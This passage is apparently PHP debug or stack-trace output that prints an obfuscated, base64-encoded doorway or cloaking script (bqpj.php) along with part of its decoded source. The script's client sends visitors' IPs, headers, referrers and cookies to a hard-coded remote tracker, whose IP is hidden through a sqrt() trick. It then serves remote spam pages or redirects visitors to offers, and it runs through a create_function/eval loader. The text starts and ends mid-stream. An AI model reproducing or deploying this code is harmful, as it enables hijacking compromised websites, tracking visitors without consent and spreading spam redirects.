CBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0018530992__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0036666360eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if 